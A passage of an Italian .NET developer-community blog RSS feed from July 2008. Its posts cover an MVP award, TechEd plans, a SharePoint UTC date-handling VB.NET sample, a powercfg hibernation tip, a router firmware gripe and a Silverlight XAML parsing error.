isPermaLink="true">http://blogs.ugidotnet.org/Biztalk/archive/2008/07/03/93277.aspx</guid><wfw:comment>http://blogs.ugidotnet.org/Biztalk/comments/93277.aspx</wfw:comment><wfw:commentRss>http://blogs.ugidotnet.org/Biztalk/comments/commentRss/93277.aspx</wfw:commentRss><comments>http://blogs.ugidotnet.org/Biztalk/archive/2008/07/03/93277.aspx#comment</comments><slash:comments>6</slash:comments><trackback:ping>http://blogs.ugidotnet.org/Biztalk/services/trackbacks/93277.aspx</trackback:ping><source url="http://blogs.ugidotnet.org/Biztalk/rss.aspx">MVP Award Update!</source><description>&lt;p&gt;Ebbene sì, dovrete sopportarvi questo matto che parla di integrazione,BPM, EAI e DDT  &lt;img alt="smile_regular" src="http://spaces.live.com/rte/emoticons/smile_regular.gif" /&gt; per un altro anno ancora.     &lt;br /&gt;Mi è arrivata la mail che mi riassegna l' MVP Award, che dire, non ho fatto il post immediatamente, ho voluto prima ripensare a quest' anno di lavoro.     &lt;br /&gt;    &lt;br /&gt;E' stato il mio primo anno da MVP, una esperienza molto intensa e piena di tantissime soddisfazioni, a volte piena di sacrifici ma sacrifici sempre gratificanti grazie alle persone che mi hanno sempre seguito e che ringrazio.     &lt;br /&gt;Chi mi conosce sa che fondamentalmente sono una persona semplice e istintiva, per me è stato un anno nel quale ho imparato tantissimo cercando di seguire attentamente i colleghi ormai veterani, ho perso amici e poi ritrovati.     &lt;br /&gt;Non sono più la persona di un anno fa, questa esperienza mi ha cambiato molto, in meglio, e questo lo devo soprattutto agli &lt;a href="http://italy.mvps.org/" target="_blank"&gt;amici MVP&lt;/a&gt; che mi sono stati più vicini e mi hanno aiutato a capire tante cose.     &lt;br /&gt;    &lt;br /&gt;Di &lt;a href="http://blogs.ugidotnet.org/lbarbieri/Default.aspx" target="_blank"&gt;Lorenzo&lt;/a&gt; addirittura pensavo fosse un androide, perchè non gli scappava un mio post e se scrivevo una inesattezza di qualsiasi tipo mi bacchettava immediatamente &lt;img alt="smile_regular" src="http://spaces.live.com/rte/emoticons/smile_regular.gif" /&gt;, sono certo stia leggendo anche questo &lt;img alt="smile_regular" src="http://spaces.live.com/rte/emoticons/smile_regular.gif" /&gt;, da lui ho imparato veramente tanto, è una persona assolutamente eccezionale.     &lt;br /&gt;Di &lt;a href="http://blogs.ugidotnet.org/raffaele/Default.aspx" target="_blank"&gt;RAF&lt;/a&gt; ho cercato di carpire da dove derivasse quella immensa fonte di energia che sprigiona di continuo , ci sto ancora lavorando &lt;img alt="smile_regular" src="http://spaces.live.com/rte/emoticons/smile_regular.gif" /&gt;     &lt;br /&gt;Ho avuto occasione di conoscere nuovi amici veramente speciali come &lt;a href="http://www.alessandroperilli.com/" target="_blank"&gt;Alessandro&lt;/a&gt; , &lt;a href="http://blog.knodev.com/" target="_blank"&gt;Davide&lt;/a&gt;, è un elenco molto lungo.     &lt;br /&gt;    &lt;br /&gt;Ringrazio &lt;a href="http://blogs.technet.com/alead_msft/" target="_blank"&gt;Alead&lt;/a&gt;, un amico sincero e leale, sempre presente nelle necessità e nei momenti difficili.     &lt;br /&gt;    &lt;br /&gt;Quest' anno sarà un anno fantastico e pieno di nuovi propositi, rimbocchiamoci le maniche e mettiamoci al lavoro.     &lt;/p&gt;&lt;img src="http://blogs.ugidotnet.org/Biztalk/aggbug/93277.aspx" width="1" height="1" /&gt;</description><dc:creator>Nino Crudele</dc:creator></item><item><title>[TechEd EMEA 2008 Developers]...chi viene con me ?</title><link>http://blogs.ugidotnet.org/dotnethoughts/archive/2008/07/03/93276.aspx</link><pubDate>Thu, 03 Jul 2008 16:59:01 GMT</pubDate><guid isPermaLink="true">http://blogs.ugidotnet.org/dotnethoughts/archive/2008/07/03/93276.aspx</guid><wfw:comment>http://blogs.ugidotnet.org/dotnethoughts/comments/93276.aspx</wfw:comment><wfw:commentRss>http://blogs.ugidotnet.org/dotnethoughts/comments/commentRss/93276.aspx</wfw:commentRss><comments>http://blogs.ugidotnet.org/dotnethoughts/archive/2008/07/03/93276.aspx#comment</comments><slash:comments>0</slash:comments><trackback:ping>http://blogs.ugidotnet.org/dotnethoughts/services/trackbacks/93276.aspx</trackback:ping><source url="http://blogs.ugidotnet.org/dotnethoughts/rss.aspx">[TechEd EMEA 2008 Developers]...chi viene con me ?</source><description>&lt;p&gt;Fino ad oggi ho dovuto tenerlo "segreto" ... ma oggi, insieme (all'impagabile) segretaria / assistente (Anto sei mitica!), abbiamo "finalizzato" l'iscrizione: SARO' al &lt;a href="http://www.microsoft.com/emea/teched2008/developer/default.aspx" target="_blank"&gt;TECHEDDDDD&lt;/a&gt; &lt;img alt="smile_shades" src="http://spaces.live.com/rte/emoticons/smile_shades.gif" /&gt;.&lt;/p&gt;  &lt;p&gt;L'albergo (da confermare) sara' il &lt;a href="http://www.belarthotel.com/" target="_blank"&gt;Bel Art&lt;/a&gt; (qualcuno c'e' stato? Com'e' ? )...&lt;/p&gt;  &lt;p&gt;   &lt;br /&gt;Bene ragazzi...chi si unisce a me (ed altri due colleghi) ? Su su ... c'e' il "Super-Early Bird" fino a fine Luglio!     &lt;br /&gt;Capisco che siamo un po' "indietro" con i tempi ... ma se convincete il Vs. Manager che si risparmia...&lt;img alt="smile_tongue" src="http://spaces.live.com/rte/emoticons/smile_tongue.gif" /&gt; .&lt;/p&gt;  &lt;p&gt;Ci si vede la'...anzi, prima ai &lt;a href="http://www.communitydays.it/events/communitydays2008milano.aspx" target="_blank"&gt;Community Days&lt;/a&gt; ... e poi LA'!&lt;/p&gt;&lt;img src="http://blogs.ugidotnet.org/dotnethoughts/aggbug/93276.aspx" width="1" height="1" /&gt;</description><dc:creator>Igor</dc:creator></item><item><title>Web server from here</title><link>http://blogs.ugidotnet.org/marcom/archive/2008/07/03/93275.aspx</link><pubDate>Thu, 03 Jul 2008 16:22:46 GMT</pubDate><guid isPermaLink="true">http://blogs.ugidotnet.org/marcom/archive/2008/07/03/93275.aspx</guid><wfw:comment>http://blogs.ugidotnet.org/marcom/comments/93275.aspx</wfw:comment><wfw:commentRss>http://blogs.ugidotnet.org/marcom/comments/commentRss/93275.aspx</wfw:commentRss><comments>http://blogs.ugidotnet.org/marcom/archive/2008/07/03/93275.aspx#comment</comments><slash:comments>0</slash:comments><trackback:ping>http://blogs.ugidotnet.org/marcom/services/trackbacks/93275.aspx</trackback:ping><source url="http://blogs.ugidotnet.org/marcom/rss.aspx">Web server from here</source><description>&lt;p&gt;&lt;strong&gt;VS2008 Web Server Here Shell Extension&lt;/strong&gt; è un'estensione della shell di Windows che aggiunge un comando al menu contestuale visualizzato quando si fa clic con il tasto destro del mouse su una directory: esso consente di avviare immediatamente il web server integrato in Visual Studio (WebDev.WebServer.exe) caricando l'applicazione contenuta in quella cartella. Per maggiori informazioni e per il link al download è possibile fare riferimento a &lt;a href="http://haacked.com/archive/2008/06/24/vs2008-web-server-here-shell-extension.aspx" target="_blank"&gt;questo post&lt;/a&gt;.&lt;/p&gt;  &lt;div class="wlWriterSmartContent" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:7b33b018-3d7e-44b4-a0a9-f4c2626e9351" style="padding-right: 0px; display: inline; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px"&gt;Technorati Tag: &lt;a href="http://technorati.com/tags/.NET" rel="tag"&gt;.NET&lt;/a&gt;,&lt;a href="http://technorati.com/tags/Programming" rel="tag"&gt;Programming&lt;/a&gt;,&lt;a href="http://technorati.com/tags/ASP%20.NET" rel="tag"&gt;ASP .NET&lt;/a&gt;,&lt;a href="http://technorati.com/tags/Tools" rel="tag"&gt;Tools&lt;/a&gt;&lt;/div&gt;&lt;img src="http://blogs.ugidotnet.org/marcom/aggbug/93275.aspx" width="1" height="1" /&gt;</description><dc:creator>Marco Minerva</dc:creator></item><item><title>bastardi</title><link>http://blogs.ugidotnet.org/pape/archive/2008/07/03/bastardi.aspx</link><pubDate>Thu, 03 Jul 2008 14:24:17 GMT</pubDate><guid isPermaLink="true">http://blogs.ugidotnet.org/pape/archive/2008/07/03/bastardi.aspx</guid><wfw:comment>http://blogs.ugidotnet.org/pape/comments/93274.aspx</wfw:comment><wfw:commentRss>http://blogs.ugidotnet.org/pape/comments/commentRss/93274.aspx</wfw:commentRss><comments>http://blogs.ugidotnet.org/pape/archive/2008/07/03/bastardi.aspx#comment</comments><slash:comments>1</slash:comments><trackback:ping>http://blogs.ugidotnet.org/pape/services/trackbacks/93274.aspx</trackback:ping><source url="http://blogs.ugidotnet.org/pape/rss.aspx">bastardi</source><description>&lt;p&gt;ribadisco: &lt;a href="http://www.rollingstone.com/rockdaily/index.php/2008/07/03/joy-divisions-ian-curtis-gravestone-stolen/" target="_blank"&gt;bastardi&lt;/a&gt;&lt;/p&gt;  &lt;div class="wlWriterSmartContent" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:9de2b19f-02c8-4862-a286-d01a9772d4e8" style="padding-right: 0px; display: inline; padding-left: 0px; float: none; padding-bottom: 0px; margin: 0px; padding-top: 0px"&gt;Technorati Tag: &lt;a href="http://technorati.com/tags/ian%20curtis" rel="tag"&gt;ian curtis&lt;/a&gt;,&lt;a href="http://technorati.com/tags/joy%20division" rel="tag"&gt;joy division&lt;/a&gt;&lt;/div&gt;&lt;img src="http://blogs.ugidotnet.org/pape/aggbug/93274.aspx" width="1" height="1" /&gt;</description><dc:creator>Andrea Saltarello</dc:creator></item><item><title>Abilitare &amp;quot;l'ibernazione&amp;quot;</title><link>http://blogs.ugidotnet.org/PietroLibroBlog/archive/2008/07/03/93273.aspx</link><pubDate>Thu, 03 Jul 2008 11:05:22 GMT</pubDate><guid isPermaLink="true">http://blogs.ugidotnet.org/PietroLibroBlog/archive/2008/07/03/93273.aspx</guid><wfw:comment>http://blogs.ugidotnet.org/PietroLibroBlog/comments/93273.aspx</wfw:comment><wfw:commentRss>http://blogs.ugidotnet.org/PietroLibroBlog/comments/commentRss/93273.aspx</wfw:commentRss><comments>http://blogs.ugidotnet.org/PietroLibroBlog/archive/2008/07/03/93273.aspx#comment</comments><slash:comments>2</slash:comments><trackback:ping>http://blogs.ugidotnet.org/PietroLibroBlog/services/trackbacks/93273.aspx</trackback:ping><source url="http://blogs.ugidotnet.org/PietroLibroBlog/rss.aspx">Abilitare &amp;quot;l'ibernazione&amp;quot;</source><description>&lt;p&gt;Post a titolo di promemoria. Per abilitare da riga di comando "l'ibernazione" del sistema, è sufficiente digitare (avendo gli opportuni privilegi):&lt;/p&gt;  &lt;p&gt;powercfg /hibernate on&lt;/p&gt;  &lt;p&gt;Altre opzioni di powercfg e approfondimenti &lt;a href="http://technet2.microsoft.com/WindowsVista/en/library/1d58b934-f56a-4796-b2df-7be2eb9c03bc1033.mspx?mfr=true" target="_blank"&gt;qui&lt;/a&gt;&lt;/p&gt;&lt;img src="http://blogs.ugidotnet.org/PietroLibroBlog/aggbug/93273.aspx" width="1" height="1" /&gt;</description><dc:creator>Pietro Libro</dc:creator></item><item><title>Router ADSL, a better firmware please.</title><link>http://blogs.ugidotnet.org/rgm/archive/2008/07/03/93272.aspx</link><pubDate>Thu, 03 Jul 2008 12:01:39 GMT</pubDate><guid isPermaLink="true">http://blogs.ugidotnet.org/rgm/archive/2008/07/03/93272.aspx</guid><wfw:comment>http://blogs.ugidotnet.org/rgm/comments/93272.aspx</wfw:comment><wfw:commentRss>http://blogs.ugidotnet.org/rgm/comments/commentRss/93272.aspx</wfw:commentRss><comments>http://blogs.ugidotnet.org/rgm/archive/2008/07/03/93272.aspx#comment</comments><slash:comments>0</slash:comments><trackback:ping>http://blogs.ugidotnet.org/rgm/services/trackbacks/93272.aspx</trackback:ping><source url="http://blogs.ugidotnet.org/rgm/rss.aspx">Router ADSL, a better firmware please.</source><description>&lt;p&gt;Ho un router ADSL della 3COM, ai suoi tempi era un buon router e debbo dire che si comporta bene, ma ci sono delle piccolezze che mi infastidiscono, una delle quali è la necessità di riavviare il router ogni volta che si fanno piccole modifiche.&lt;/p&gt;  &lt;p&gt;Una su tutte, l'attivazione della wirless. Normalmente io sono connesso con il cavo, ma talvolta voglio usare il portatile in sala. La situazione standard è quella di attivare la wirless, attivare la cifratura e lasciare sempre acceso, la cosa però non mi sconfinfera al 100%. Dato che  oramai l'etere è saturo di onde elettromagnetiche, mi piacerebbe tenere spento il wireless ed attivarlo solo quando necessario.&lt;/p&gt;  &lt;p&gt;Problema numero 1: Il settaggio per l'attivazione è fatto via software, questo mi costringe ad avere o acceso il pc fisso, o a connettere via cavo il portatile, accedere al router, e poi andare in sala. Avrei gradito un bottoncino che abilita/disabilita (tra l'altro oramai quasi tutti i portatili lo hanno)&lt;/p&gt;  &lt;p&gt;Problema numero 2: Quando disattivo/attivo il wireless la lucina del wireless si spegne subito....poi dopo 4/5 secondi il router si resetta e sta tipo 30 secondi prima di riavviarsi. Ora 30 sec non sono molti, ma non si saerebbe potuto evitare il reset del router?&lt;/p&gt;  &lt;p&gt;Firmware nuovi non se ne trovano, ma talvolta viene pensato che basterebbe poco per rendere le periferiche più user friendly :D&lt;/p&gt;  &lt;p&gt;alk.&lt;/p&gt;&lt;img src="http://blogs.ugidotnet.org/rgm/aggbug/93272.aspx" width="1" height="1" /&gt;</description><dc:creator>Gian Maria  Ricci</dc:creator></item><item><title>Nel meraviglioso mondo di SharePoint!</title><link>http://blogs.ugidotnet.org/franx_blog/archive/2008/07/02/93271.aspx</link><pubDate>Thu, 03 Jul 2008 09:59:30 GMT</pubDate><guid isPermaLink="true">http://blogs.ugidotnet.org/franx_blog/archive/2008/07/02/93271.aspx</guid><wfw:comment>http://blogs.ugidotnet.org/franx_blog/comments/93271.aspx</wfw:comment><wfw:commentRss>http://blogs.ugidotnet.org/franx_blog/comments/commentRss/93271.aspx</wfw:commentRss><comments>http://blogs.ugidotnet.org/franx_blog/archive/2008/07/02/93271.aspx#comment</comments><slash:comments>0</slash:comments><trackback:ping>http://blogs.ugidotnet.org/franx_blog/services/trackbacks/93271.aspx</trackback:ping><source url="http://blogs.ugidotnet.org/franx_blog/rss.aspx">Nel meraviglioso mondo di SharePoint!</source><description>&lt;p&gt;&lt;strong&gt;&lt;font color="#ff0000"&gt;Problema&lt;/font&gt;&lt;/strong&gt;:&lt;/p&gt;  &lt;p&gt;Se da codice imposto una proprietà di tipo data+ora di un documento contenuto in una Document Library di SharePoint mi ritrovo un valore diverso da quallo impostato. In particolare ho uno sfasamento di un'ora o due.&lt;/p&gt;  &lt;p&gt; &lt;/p&gt;  &lt;p&gt;&lt;strong&gt;&lt;font color="#008080"&gt;Soluzione&lt;/font&gt;&lt;/strong&gt;:&lt;/p&gt;  &lt;p&gt;Certo, direte voi, devi usare le date in &lt;a href="http://www.iso.org/iso/support/faqs/faqs_widely_used_standards/widely_used_standards_other/date_and_time_format.htm" target="_blank"&gt;formato UTC&lt;/a&gt;.&lt;/p&gt;  &lt;p&gt;Allora vediamo coda succede in 2 casi, cioè se il file esiste e modifico la sua proprietà, oppure se il file è creato nuovo e la proprietà assegnata all'upload.&lt;/p&gt;  &lt;p&gt;L'esempio suppone che:&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;ci sia un documento all'url &lt;em&gt;&lt;font color="#0080ff"&gt;http://myServer/mySite/myDocLib&lt;/font&gt;&lt;/em&gt; &lt;/li&gt;    &lt;li&gt;la document library che contiene quel documento abbia una proprietà di nome &lt;em&gt;&lt;font color="#0080ff"&gt;myDateTimeProp&lt;/font&gt;&lt;/em&gt; &lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;Il codice di esempio (inserito in un qualche button click) esegue l'update della proprietà del documento esistente, poi crea un nuovo documento (con il contenuto del precedente) assegnandogli un certo valore della proprietà di tipo Data.&lt;/p&gt;  &lt;p&gt;Si noti che nel primo caso (update) si deve usare la data nel suo formato normale, nel secondo la si deve convertire in formato UTC.&lt;/p&gt;  &lt;p&gt;Ogni altra combinazione non sembra funzionare.&lt;/p&gt;  &lt;p&gt; &lt;/p&gt; &lt;!--
{\rtf1\ansi\ansicpg\lang1024\noproof1252\uc1 \deff0{\fonttbl{\f0\fnil\fcharset0\fprq1 Consolas;}}{\colortbl;??\red0\green0\blue255;\red255\green255\blue255;\red0\green0\blue0;\red0\green128\blue0;\red163\green21\blue21;}??\fs22 \cf1 Private\cf0  \cf1 Sub\cf0  Button2_Click(\cf1 ByVal\cf0  sender \cf1 As\cf0  System.Object, \cf1 ByVal\cf0  e \cf1 As\cf0  System.EventArgs) \cf1 Handles\cf0  Button2.Click\par ??\tab \tab \cf4 ' Esegue l'update della data:\par ??\cf0 \tab \tab \cf1 Dim\cf0  urlDoc \cf1 As\cf0  \cf1 String\cf0  = \cf5 "http://win2k3-moss07-f/josh/TestProps/AD00000049.tif"\par ??\cf0 \tab \tab \cf1 Dim\cf0  objSite \cf1 As\cf0  SPSite = \cf1 Nothing\par ??\cf0 \tab \tab \cf1 Dim\cf0  objWeb \cf1 As\cf0  SPWeb = \cf1 Nothing\par ??\cf0 \tab \tab \cf1 Try\par ??\cf0 \tab \tab \tab \cf1 Me\cf0 .Cursor = Cursors.WaitCursor\par ??\tab \tab \tab \cf4 ' Crea gli oggetti SPSite ed SPWeb \par ??\cf0 \tab \tab \tab objSite = \cf1 New\cf0  SPSite(urlDoc)\par ??\tab \tab \tab objWeb = objSite.OpenWeb\par ??\tab \tab \tab \cf4 '' Cerca la document library\par ??\cf0 \tab \tab \tab \cf1 Dim\cf0  objItem \cf1 As\cf0  SPListItem = objWeb.GetListItem(urlDoc)\par ??\tab \tab \tab objItem.Item(\cf5 "DataeOra"\cf0 ) = Now.ToUniversalTime\par ??\tab \tab \tab objItem.Update()\par ??\tab \tab \tab \cf1 Dim\cf0  s \cf1 As\cf0  IO.Stream = objItem.File.OpenBinaryStream()\par ??\tab \tab \tab \cf1 Dim\cf0  props \cf1 As\cf0  \cf1 New\cf0  Hashtable\par ??\tab \tab \tab props.Add(\cf5 "DataeOra"\cf0 , Now)\par ??\tab \tab \tab objItem.File.ParentFolder.Files.Add(\cf5 "test.tif"\cf0 , s, props)\par ??\tab \tab \cf1 Catch\cf0  ex \cf1 As\cf0  Exception\par ??\tab \tab \tab MessageBox.Show(ex.ToString)\par ??\tab \tab \cf1 Finally\par ??\cf0 \tab \tab \tab \cf1 If\cf0  \cf1 Not\cf0  objSite \cf1 Is\cf0  \cf1 Nothing\cf0  \cf1 Then\cf0  objSite.Dispose()\par ??\tab \tab \tab \cf1 If\cf0  \cf1 Not\cf0  objWeb \cf1 Is\cf0  \cf1 Nothing\cf0  \cf1 Then\cf0  objWeb.Dispose()\par ??\tab \tab \tab \cf1 Me\cf0 .Cursor = Cursors.Default\par ??\tab \tab \cf1 End\cf0  \cf1 Try\par ??\cf0 \tab \cf1 End\cf0  \cf1 Sub}
--&gt;  &lt;div style="font-size: 11pt; background: white; color: black; font-family: consolas"&gt;   &lt;p style="margin: 0px"&gt;&lt;span style="color: #2b91af"&gt;&lt;/span&gt;&lt;/p&gt;    &lt;p style="margin: 0px"&gt;&lt;span style="color: #2b91af"&gt;    1&lt;/span&gt; &lt;span style="color: blue"&gt;Private&lt;/span&gt; &lt;span style="color: blue"&gt;Sub&lt;/span&gt; Button1_Click(&lt;span style="color: blue"&gt;ByVal&lt;/span&gt; sender &lt;span style="color: blue"&gt;As&lt;/span&gt; System.Object, &lt;span style="color: blue"&gt;ByVal&lt;/span&gt; e &lt;span style="color: blue"&gt;As&lt;/span&gt; System.EventArgs) &lt;span style="color: blue"&gt;Handles&lt;/span&gt; Button1.Click&lt;/p&gt;    &lt;p style="margin: 0px"&gt;&lt;span style="color: #2b91af"&gt;    2&lt;/span&gt;     &lt;span style="color: green"&gt;' Esegue l'update della data:&lt;/span&gt;&lt;/p&gt;    &lt;p style="margin: 0px"&gt;&lt;span style="color: #2b91af"&gt;    3&lt;/span&gt;     &lt;span style="color: blue"&gt;Dim&lt;/span&gt; urlDoc &lt;span style="color: blue"&gt;As&lt;/span&gt; &lt;span style="color: blue"&gt;String&lt;/span&gt; = &lt;span style="color: #a31515"&gt;"http://myServer/mySite/myDocLib/myDoc1.tif"&lt;/span&gt;&lt;/p&gt;    &lt;p style="margin: 0px"&gt;&lt;span style="color: #2b91af"&gt;    4&lt;/span&gt;     &lt;span style="color: blue"&gt;Dim&lt;/span&gt; objSite &lt;span style="color: blue"&gt;As&lt;/span&gt; SPSite = &lt;span style="color: blue"&gt;Nothing&lt;/span&gt;&lt;/p&gt;    &lt;p style="margin: 0px"&gt;&lt;span style="color: #2b91af"&gt;    5&lt;/span&gt;     &lt;span style="color: blue"&gt;Dim&lt;/span&gt; objWeb &lt;span style="color: blue"&gt;As&lt;/span&gt; SPWeb = &lt;span style="color: blue"&gt;Nothing&lt;/span&gt;&lt;/p&gt;    &lt;p style="margin: 0px"&gt;&lt;span style="color: #2b91af"&gt;    6&lt;/span&gt;     &lt;span style="color: blue"&gt;Try&lt;/span&gt;&lt;/p&gt;    &lt;p style="margin: 0px"&gt;&lt;span style="color: #2b91af"&gt;    7&lt;/span&gt;       &lt;span style="color: blue"&gt;Me&lt;/span&gt;.Cursor = Cursors.WaitCursor&lt;/p&gt;    &lt;p style="margin: 0px"&gt;&lt;span style="color: #2b91af"&gt;    8&lt;/span&gt;       &lt;span style="color: green"&gt;' Crea gli oggetti SPSite ed SPWeb &lt;/span&gt;&lt;/p&gt;    &lt;p style="margin: 0px"&gt;&lt;span style="color: #2b91af"&gt;    9&lt;/span&gt;       objSite = &lt;span style="color: blue"&gt;New&lt;/span&gt; SPSite(urlDoc)&lt;/p&gt;    &lt;p style="margin: 0px"&gt;&lt;span style="color: #2b91af"&gt;   10&lt;/span&gt;       objWeb = objSite.OpenWeb&lt;/p&gt;    &lt;p style="margin: 0px"&gt;&lt;span style="color: #2b91af"&gt;   11&lt;/span&gt;       &lt;span style="color: green"&gt;'' Cerca la document library&lt;/span&gt;&lt;/p&gt;    &lt;p style="margin: 0px"&gt;&lt;span style="color: #2b91af"&gt;   12&lt;/span&gt;       &lt;span style="color: blue"&gt;Dim&lt;/span&gt; objItem &lt;span style="color: blue"&gt;As&lt;/span&gt; SPListItem = objWeb.GetListItem(urlDoc)&lt;/p&gt;    &lt;p style="margin: 0px; background-color: #ffff33"&gt;&lt;span style="color: #2b91af"&gt;   13&lt;/span&gt;       objItem.Item(&lt;span style="color: #a31515"&gt;"myDateTimeProp"&lt;/span&gt;) = Now&lt;/p&gt;    &lt;p style="margin: 0px"&gt;&lt;span style="color: #2b91af"&gt;   14&lt;/span&gt;       objItem.Update()&lt;/p&gt;    &lt;p style="margin: 0px"&gt;&lt;span style="color: #2b91af"&gt;   15&lt;/span&gt;       &lt;span style="color: blue"&gt;Dim&lt;/span&gt; stream &lt;span style="color: blue"&gt;As&lt;/span&gt; IO.Stream = objItem.File.OpenBinaryStream()&lt;/p&gt;    &lt;p style="margin: 0px"&gt;&lt;span style="color: #2b91af"&gt;   16&lt;/span&gt;       &lt;span style="color: blue"&gt;Dim&lt;/span&gt; props &lt;span style="color: blue"&gt;As&lt;/span&gt; &lt;span style="color: blue"&gt;New&lt;/span&gt; Hashtable&lt;/p&gt;    &lt;p style="margin: 0px; background-color: #ffff33"&gt;&lt;span style="color: #2b91af"&gt;   17&lt;/span&gt;       props.Add(&lt;span style="color: #a31515"&gt;"myDateTimeProp"&lt;/span&gt;, Now.ToUniversalTime)&lt;/p&gt;    &lt;p style="margin: 0px"&gt;&lt;span style="color: #2b91af"&gt;   18&lt;/span&gt;       objItem.File.ParentFolder.Files.Add(&lt;span style="color: #a31515"&gt;"myDoc2.tif"&lt;/span&gt;, stream, props)&lt;/p&gt;    &lt;p style="margin: 0px"&gt;&lt;span style="color: #2b91af"&gt;   19&lt;/span&gt;       stream.Dispose()&lt;/p&gt;    &lt;p style="margin: 0px"&gt;&lt;span style="color: #2b91af"&gt;   20&lt;/span&gt;     &lt;span style="color: blue"&gt;Catch&lt;/span&gt; ex &lt;span style="color: blue"&gt;As&lt;/span&gt; Exception&lt;/p&gt;    &lt;p style="margin: 0px"&gt;&lt;span style="color: #2b91af"&gt;   21&lt;/span&gt;       MessageBox.Show(ex.ToString)&lt;/p&gt;    &lt;p style="margin: 0px"&gt;&lt;span style="color: #2b91af"&gt;   22&lt;/span&gt;     &lt;span style="color: blue"&gt;Finally&lt;/span&gt;&lt;/p&gt;    &lt;p style="margin: 0px"&gt;&lt;span style="color: #2b91af"&gt;   23&lt;/span&gt;       &lt;span style="color: blue"&gt;If&lt;/span&gt; &lt;span style="color: blue"&gt;Not&lt;/span&gt; objSite &lt;span style="color: blue"&gt;Is&lt;/span&gt; &lt;span style="color: blue"&gt;Nothing&lt;/span&gt; &lt;span style="color: blue"&gt;Then&lt;/span&gt; objSite.Dispose()&lt;/p&gt;    &lt;p style="margin: 0px"&gt;&lt;span style="color: #2b91af"&gt;   24&lt;/span&gt;       &lt;span style="color: blue"&gt;If&lt;/span&gt; &lt;span style="color: blue"&gt;Not&lt;/span&gt; objWeb &lt;span style="color: blue"&gt;Is&lt;/span&gt; &lt;span style="color: blue"&gt;Nothing&lt;/span&gt; &lt;span style="color: blue"&gt;Then&lt;/span&gt; objWeb.Dispose()&lt;/p&gt;    &lt;p style="margin: 0px"&gt;&lt;span style="color: #2b91af"&gt;   25&lt;/span&gt;       &lt;span style="color: blue"&gt;Me&lt;/span&gt;.Cursor = Cursors.Default&lt;/p&gt;    &lt;p style="margin: 0px"&gt;&lt;span style="color: #2b91af"&gt;   26&lt;/span&gt;     &lt;span style="color: blue"&gt;End&lt;/span&gt; &lt;span style="color: blue"&gt;Try&lt;/span&gt;&lt;/p&gt;    &lt;p style="margin: 0px"&gt;&lt;span style="color: #2b91af"&gt;   27&lt;/span&gt;   &lt;span style="color: blue"&gt;End&lt;/span&gt; &lt;span style="color: blue"&gt;Sub&lt;/span&gt;&lt;/p&gt;    &lt;p style="margin: 0px"&gt;&lt;span style="color: blue"&gt;&lt;/span&gt;&lt;/p&gt;    &lt;p style="margin: 0px"&gt; &lt;/p&gt;    &lt;p style="margin: 0px"&gt;&lt;strong&gt;&lt;em&gt;&lt;font color="#008000"&gt;Considerazioni finali&lt;/font&gt;&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;    &lt;p style="margin: 0px"&gt;Si tratta di una mia personalissima ipotesi, ma secondo me i team di sviluppo della funzionalità di update e di quella di addnew sono distinti, separati e non comunicanti.&lt;/p&gt;    &lt;p style="margin: 0px"&gt;&lt;/p&gt; &lt;/div&gt;&lt;img src="http://blogs.ugidotnet.org/franx_blog/aggbug/93271.aspx" width="1" height="1" /&gt;</description><dc:creator>Francesco Geri</dc:creator></item><item><title>Errore di parsing Xaml - Silverlight</title><link>http://blogs.ugidotnet.org/ThinkingInGrava/archive/2008/07/03/errore-di-parsing-xaml---silverlight.aspx</link><pubDate>Thu, 03 Jul 2008 09:12:46 GMT</pubDate><guid isPermaLink="true">http://blogs.ugidotnet.org/ThinkingInGrava/archive/2008/07/03/errore-di-parsing-xaml---silverlight.aspx</guid><wfw:comment>http://blogs.ugidotnet.org/ThinkingInGrava/comments/93270.aspx</wfw:comment><wfw:commentRss>http://blogs.ugidotnet.org/ThinkingInGrava/comments/commentRss/93270.aspx</wfw:commentRss><comments>http://blogs.ugidotnet.org/ThinkingInGrava/archive/2008/07/03/errore-di-parsing-xaml---silverlight.aspx#comment</comments><slash:comments>0</slash:comments><trackback:ping>http://blogs.ugidotnet.org/ThinkingInGrava/services/trackbacks/93270.aspx</trackback:ping><source url="http://blogs.ugidotnet.org/ThinkingInGrava/rss.aspx">Errore di parsing Xaml - Silverlight</source><description>&lt;p&gt;In questo periodo di latitanza sto "litigando" con Silverlight. Dopo qualche post utile di Corrado Cavalli, Shawn Burke e Scott Gu, e molte parolacce dovute alla mancanza di controlli quali la COMBOBOX, mi sono trovato ad impazzire con i file di templating per i controlli Silverlight&lt;/p&gt;  &lt;p&gt;Creo il mio file generic.xaml, scrivo i template per i miei controlli e, a parte i finti errori segnalanti (ma siamo ancora alla beta 2, spero le cose migliorino nei prossimi rilasci) mi ritrovo con questo errore:&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;"Unexpected NONE in parse rule ElementBody ::= ATTRIBUTE* ( PropertyElement | Content )* . ENDTAG.."&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;A mia futura memoria e come indicazione per chiunque possa incorrere in un problema del genere, è dovuto a tag vuoti contenuti nel file xaml, nel mio caso:&lt;/p&gt;  &lt;pre class="code"&gt;&lt;span style="color: blue"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #a31515"&gt;vsm&lt;/span&gt;&lt;span style="color: blue"&gt;:&lt;/span&gt;&lt;span style="color: #a31515"&gt;VisualStateGroup.Transitions &lt;/span&gt;&lt;span style="color: blue"&gt;/&amp;gt;&lt;/span&gt;&lt;/pre&gt;
&lt;a href="http://11011.net/software/vspaste"&gt;&lt;/a&gt;

